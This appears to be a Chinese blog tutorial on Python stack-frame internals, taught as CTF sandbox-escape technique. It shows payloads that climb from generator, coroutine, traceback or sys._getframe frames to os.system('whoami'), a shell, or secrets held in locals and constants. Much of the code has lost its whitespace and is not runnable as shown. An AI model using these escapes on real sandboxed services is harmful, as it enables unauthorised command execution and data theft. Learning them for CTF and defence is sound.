news 2026/4/15 17:47:14

Python栈帧及四类获取栈帧方法

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Python栈帧及四类获取栈帧方法

什么是栈帧

每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息。包括:

  • 局部变量 (f_locals)
  • 全局变量 (f_globals)
  • 上一级调用者的栈帧 (f_back)
  • 代码对象 (f_code)
  • 内置对象 (f_builtins)

我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_back指针,我们可以一步步往回找,直到找到最外层的程序入口。

利用栈帧技术,我们可以在首先的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。

栈帧属性

下面介绍一些常用的栈帧属性。

属性描述用途
f_back指向上一层(调用者)的栈帧对象最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如os)。
f_globals当前栈帧的全局变量字典获取全局加载的模块(如os,sys)或配置信息 (SECRET_KEY)。
f_locals当前栈帧的局部变量字典获取函数内部定义的敏感变量(如flag)。
f_builtins当前栈帧可用的内置函数如果当前环境删除了__builtins__,可从上层栈帧找回。
f_code当前栈帧执行的代码对象查看文件名、代码指令等信息。

f_back

这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。

写一个demo看一下

importsysdefsandbox():print("[*] 进入沙箱函数...")# 1. 获取当前栈帧current_frame=sys._getframe()# 2. 利用 f_back 回到上一层 (main 函数的栈帧)caller_frame=current_frame.f_back# 3. 偷看上一层的局部变量print(f"[!] 成功获取上层变量:{caller_frame.f_locals['flag']}")defmain():# 这是定义在 main 里的局部变量,正常情况下 sandbox 访问不到flag="CTF{f_back_is_awesome}"sandbox()if__name__=="__main__":main()

可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_back跳出了当前函数的作用域。

f_globals

它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。

写一个demo,假如我们在一个函数内部,不能写import,但是我们想用os模块,只要这个脚本的最外层导入过os,我们就能拿到os模块。

importsysimportos# 假设这是题目自带的,你不能修改defvulnerable():# 假设这里不能直接用 os.system,或者被过滤了# 1. 获取当前栈帧f=sys._getframe()# 2. 查看全局变量字典 (f_globals)# 这就像打开了上帝视角的仓库global_vars=f.f_globalsif'os'inglobal_vars:print("[+] 在全局变量中找到了 os 模块!")# 3. 直接通过字典调用 osglobal_vars['os'].system('echo "Command Executed via f_globals"')vulnerable()

这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_back找到某一层,这一层的f_globals有os、sys等,就可以rce了。

f_locals

它的作用是查看特定函数内部的私有变量。

importsysdefsecret_function():# 这是一个只有函数内部知道的秘密user_password="MySuperSecretPassword123"# 假设攻击者能在这里执行一行代码frame=sys._getframe()# 直接打印当前帧的所有局部变量print(f"[!] 泄露当前作用域的所有变量:{frame.f_locals}")secret_function()

特定情况下,我们可以通过读取f_locals来窃取敏感数据。

f_builtins

它的作用是获取Python原生的内置函数(如open,import,eval)。

写一个demo,这个沙箱中把open和print变成了None。

importsys# === 模拟沙箱环境 ===# 题目把 print 和 open 删了print=Noneopen=None# ==================defescape():frame=sys._getframe()# 尝试直接调用 print,会报错,因为它是 None# print("hello") -> Error# 但是!栈帧里的 f_builtins 保存着 Python 最原始的内置函数original_print=frame.f_builtins['print']original_print("[+] 成功从 f_builtins 恢复了 print 函数!")# 甚至可以找回 __import__ 来重新导入模块original_import=frame.f_builtins['__import__']os_mod=original_import('os')original_print(f"[+] 重新导入了 os 模块:{os_mod}")escape()

f_code

它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。

当我们不知道代码运行在哪里,文件名叫什么,函数名叫什么时,我们就需要探测环境。

importsysdefunknown_environment():f=sys._getframe()code_obj=f.f_codeprint(f"当前函数名 (co_name):{code_obj.co_name}")print(f"当前文件名 (co_filename):{code_obj.co_filename}")print(f"当前参数数量 (co_argcount):{code_obj.co_argcount}")print(f"局部变量名列表 (co_varnames):{code_obj.co_varnames}")unknown_environment()

利用手法

一、sys

在Python中,主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧,才能往上爬。

importsys frame=sys._getframe()

经典攻击利用手法是爬栈窃取。

加入我们想执行os.system(‘/bin/sh’),但在当前函数里os不存在。假设主程序加载了os模块,或者加载了其他模块引用了os

获取当前位置

f=sys._getframe()

向上爬一层

f=f.back

查看当前层

f.f_globals

拿到os

os_module=f.f_globals['os']

执行命令

os_module.system('whoami')

本地执行看一下基本逻辑。

本地测试

当前位置在主函数(外层),os在开头导入时,os属于全局变量,直接global拿到即可。

当os在main函数中导入时

为什么会报错?因为os是在main函数中导入的,它的作用域只有main函数内部,不属于全局变量,全局变量只有开头导入的sys和main函数本身。所以我们要用f_locals来找到局部变量中的os。

如果是在main函数中导入的os,但当前位置在其他函数中,我们不改变源码看看会怎么样

可以看到并没有找到os模块,局部变量的所有属性中也没有看到os模块。

注意到exp函数在main函数中被调用,所以main函数是exp函数的上一层。而os模块在main函数中被导入,所以我们翻到上一层找局部变量即可。

如果没有os模块,只有sys模块,可以通过sys.modules找到os模块,也就是sys.modules[‘os’].system(‘whoami’)。

这里的modules应该怎么拿呢?

f['sys']['modules']['os'] 还是 f['sys'].modules['os'] ?

我们先来看第一种。

可以看到报错。原因是f[‘sys’]取出来的是sys模块对象,而不是字典。要取出这个对象的属性,要用点字符连接的形式。

f['sys'].modules['os']

二、生成器

利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。

什么是生成器

在Python中,想要拿到栈帧,通常有两条路:

  • 利用sys._getframe(),这需要导入sys,还需要调用函数。
  • 利用生成器对象,这时Python的语法特性。

(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态(哪怕它还没开始跑,或者它是空的),解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。

  • [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下。
  • (x for x in [])是一个未执行或者“懒执行”的任务包,保留栈帧。

生成器属性

gi_frame

它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。

g.gi_frame.f_back.f_globals
gi_code

它返回的是一个代码对象。

即使我们无法通过gi_frame拿到f_locals,比如变量被删了,我们依然可以通过gi_code看到编译后的静态数据。

defcheck():ifinput()=="FLAG{Hardcoded_Secret}":returnTrueyieldg=check()# 1. 获取代码对象code=g.gi_code# 2. 读取代码中所有的常量 (Constant values)# 这里面会包含所有的字符串、数字、None 等硬编码的值print(code.co_consts)# 输出: (None, 'FLAG{Hardcoded_Secret}')

既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。

还有其他敏感属性:

g.gi_code.co_name: 函数名。 g.gi_code.co_filename: 泄露服务器上的绝对路径(这点在文件包含漏洞中非常有用)。 g.gi_code.co_code: 原始字节码(配合 dis 模块进行逆向)。
gi_yieldfrom

当生成器使用了yield from other_gen()的语法时,当前的生成器会委托给other_gen。

此时,g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。

如果环境藏在一个嵌套很深的生成器中,或者外层环境被清理的很干净,我们需要利用gi_yieldfrom钻到内层去拿栈帧。

definner():# 假设这里面有敏感数据secret="Deep Secret"yielddefouter():yieldfrominner()# 委托给 innerg=outer()next(g)# 启动生成器,让它卡在 yield from 那一行# 此时 g 是 outerprint(f"Outer Frame:{g.gi_frame.f_code.co_name}")# -> outer# 通过 gi_yieldfrom 拿到 inner 生成器inner_gen=g.gi_yieldfromprint(f"Inner Frame:{inner_gen.gi_frame.f_code.co_name}")# -> inner# 进而拿到 inner 的局部变量print(inner_gen.gi_frame.f_locals)
gi_running

这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。了解即可。

当我们拿到生成器时,我们首选gi.frame,配合sys的属性进行越狱。其次选择gi_code,找可能存在的信息泄露;最后找gi_yieldfrom。

使用方式

找到全局os模块
# 适用于:f_back 一层就能回到全局,且全局里有 os 模块(xforxin[]).gi_frame.f_back.f_globals['os'].system('whoami')

os在全局导入时

os在生成器存在的函数内部导入时

为什么会报错?我们的代码没有任何问题啊?

我们的python版本过高了(Python3.11+)。

生成器高版本Python报错
(xforxin[]).gi_frame.f_back.f_locals# 1. (x for x in []).gi_frame -> 获取生成器帧 (成功,不是 None)# 2. .f_back -> 获取上一层帧 (失败,这里返回了 None)# 3. .f_locals -> None.f_locals (报错)

在python3.10及以前,生成器创建时,gi_frame.f_back会直接指向创建它的那个函数,也就是innder。python3.11+版本的生成器在刚刚创建但尚未运行(Suspended状态)时,它的栈帧是“孤立”的,或者与调用栈的链接方式变了,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。

因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。

definner():importos# 1. 先定义生成器,但不立即用g=(xforxin[1])# 2. 让它运行一步# 这会强制 Python 创建并链接栈帧try:next(g)exceptStopIteration:pass# 3. 现在再去拿 f_back,有时候就能拿到了# (注:这在不同微版本中表现不稳定,不推荐作为首选)ifg.gi_frame.f_back:g.gi_frame.f_back.f_locals['os'].system('whoami')defmain():inner()if__name__=="__main__":main()

但是它在沙箱逃逸中并不好用,仅作简单了解。

手动导入os模块
# 适用于:全局里没有 os,或者 sys 被删了# 思路:找 builtins -> 找 __import__ -> 加载 os(xforxin[]).gi_frame.f_back.f_globals['__builtins__']['__import__']('os').system('whoami')

同样的,高版本python无法使用。

看硬编码常量
importsys# 全局常量GLOBAL_STR="Hello, World!"definner():# 局部常量LOCAL_STR="Inner Function"# 创建生成器gen=(xforxin[])# 查看生成器自己的常量 (空)print("生成器内部的常量:",gen.gi_code.co_consts)# 利用栈帧跳到 inner 函数层,看它的代码常量# 路径: 生成器帧 -> 上一层(inner)帧 -> inner的代码对象 -> 常量池inner_consts=gen.gi_frame.f_back.f_code.co_constsprint("inner 函数的常量:",inner_consts)# 再跳一层到全局,看全局的代码常量# 路径: ... -> 再上一层(module)帧 -> module的代码对象 -> 常量池module_consts=gen.gi_frame.f_back.f_back.f_code.co_constsprint("Global 模块的常量:",module_consts)defmain():inner()if__name__=="__main__":main()

同样的,高版本python无法使用。

三、异步挂起:协程(coroutine.cr_frame)

在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。

关键特性:当我们调用一个asycn def函数时,代码不会立即执行(与生成器相同),它会返回一个协程对象(Coroutine Object)。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_frame上。

核心属性:cr_frame

它的地位等同于生成器的gi_frame。

对象类型关键字栈帧属性名地位
生成器yieldgi_frame3.11+ 无法使用
协程asynccr_frameWAF 绕过率高

之所以叫异步挂起,是因为async def叫做异步函数,调用它能得到协程对象。协程天生就是为了挂起和等待设计的。当我们创建一个协程对象但还没await时,它就处于Created(初始挂起)状态。此时它的栈帧是静止的,任由我们摆布。

使用方式

# 1. 定义一个异步函数 (不需要 await,空的就行)asyncdefspy():pass# 2. 调用它 -> 得到协程对象 c# 注意:此时 spy 里的代码没跑,但 c 已经拿到栈帧了c=spy()# 3. 拿到栈帧 -> 拿到 globals -> 拿到 os# 这里的路径是:c.cr_frame (协程帧) -> .f_globals (全局字典)# 注意:这里不需要 f_back,因为 spy 是在当前上下文定义的,它的 globals 就是当前的 globalsos_mod=c.cr_frame.f_globals.get('__builtins__').__import__.('os')# 也可以用['__builtins__']# 4. 执行命令os_mod.system('whoami')

最后有一行报错

RuntimeWarning: coroutine 'spy' was never awaited

他的意思是我们创建了一个协程spy,但是我们从来没有await它,它没有执行,这正是我们想要的,我们不需要它执行,我们只需要它被创建的那一瞬间产生的栈帧。

四、异常回溯(Traceback)

核心原理

当Python程序运行出错时,解释器不能崩溃退出,它需要保留案发现场。它需要创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧(tb_frame),调试器或者打印错误的程序才能告诉你当时的变量值。

利用链

Exception (异常对象): 错误发生后生成的对象(比如ZeroDivisionError)。

__traceback__(属性): 挂在异常对象上的回溯记录。

tb_frame(属性): 回溯记录里保存的栈帧对象,这是我们的重要利用点。

f_globals(属性): 栈帧里的全局变量啊,在这里找到os等。

只要能写try…Exception,这个方法就能拿到栈帧。

使用方式

基本利用
defescape():try:1/0exceptExceptionase:# e 是异常对象# e.__traceback__ 是回溯记录# .tb_frame 是当前栈帧 (相当于 sys._getframe())frame=e.__traceback__.tb_frame# 2. 拿到栈帧后,剩下的操作和之前一模一样frame.f_back.f_globals['__builtins__'].__import__('os').system('whoami')escape()

它可以写成一行

# 只要允许try Exception就能使用try:raiseExceptionexceptExceptionase:e.__traceback__.tb_frame.f_back.f_globals['os'].system('sh')
多层异常

有时候,错误是层层传递的(比如 A 调用 B,B 报错了)。traceback对象实际上是一个链表

属性含义
tb_frame当前层的栈帧。
tb_next指向更深一层(被调用者) 的 traceback 对象。
tb_lineno出错的代码行号。

有些题目会把你包裹在一个很深的调用链里,或者利用sys.exc_info()来获取全局唯一的那个 traceback。

importsysdefdeep_error():1/0defmain():try:deep_error()except:# sys.exc_info() 返回 (type, value, traceback)tb=sys.exc_info()[2]# 此时 tb 指向的是 main 这一层的错误现场print(f"当前层:{tb.tb_frame.f_code.co_name}")# -> main# tb.tb_next 指向导致错误的更深一层 (deep_error)iftb.tb_next:print(f"内层:{tb.tb_next.tb_frame.f_code.co_name}")# -> deep_errorprint(tb.tb_next.tb_frame.f_globals['__builtins__'].__import__('os').system('whoami'))if__name__=="__main__":main()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 1:49:22

Ant Design X Vue:构建智能对话界面的革命性解决方案

在AI技术蓬勃发展的今天,开发一个功能完备的智能对话界面往往需要数周甚至数月的时间。从消息展示到状态管理,从文件上传到流式响应,每个环节都充满挑战。Ant Design X Vue的出现,彻底改变了这一现状,让开发者能够在极…

作者头像 李华
网站建设 2026/4/13 23:12:22

Docker Compose健康检查配置陷阱曝光(资深架构师亲授避坑方案)

第一章:Docker Compose的 Agent 服务健康报告在微服务架构中,确保各个容器化服务的运行状态可监控、可追溯是系统稳定性的关键。Docker Compose 提供了内置的健康检查机制,结合自定义 Agent 服务,可以实现对应用组件的实时健康报告…

作者头像 李华
网站建设 2026/4/15 12:10:57

PS3手柄Windows驱动终极解决方案:让经典手柄重获新生

为什么Windows系统无法识别你的PS3手柄? 【免费下载链接】DsHidMini Virtual HID Mini-user-mode-driver for Sony DualShock 3 Controllers 项目地址: https://gitcode.com/gh_mirrors/ds/DsHidMini 每个PS3手柄用户在Windows系统上都会遇到同样的困境&…

作者头像 李华
网站建设 2026/4/15 3:51:51

《不用写代码!手把手教你用Colab免费跑通第一个神经网络》

引言:零代码、零配置,5 分钟入门神经网络​ 很多 AI 新人卡在 “入门第一步”:想跑神经网络,却被 “安装 Python、配置 TensorFlow、解决环境冲突” 劝退。其实完全不用这么复杂!​ Google 的 Colab(Cola…

作者头像 李华
网站建设 2026/4/15 7:00:04

wvp-GB28181-pro 安防监控系统API完全指南:从设备接入到媒体流控制

wvp-GB28181-pro 安防监控系统API完全指南:从设备接入到媒体流控制 【免费下载链接】wvp-GB28181-pro 项目地址: https://gitcode.com/GitHub_Trending/wv/wvp-GB28181-pro 还在为GB28181设备接入复杂、API文档分散而头疼吗?本文将带你系统掌握wv…

作者头像 李华
网站建设 2026/4/15 15:18:24

Syncthing Tray:终极桌面文件同步管理解决方案

Syncthing Tray:终极桌面文件同步管理解决方案 【免费下载链接】syncthingtray Tray application and Dolphin/Plasma integration for Syncthing 项目地址: https://gitcode.com/gh_mirrors/sy/syncthingtray 在现代数字化生活中,文件同步管理工…

作者头像 李华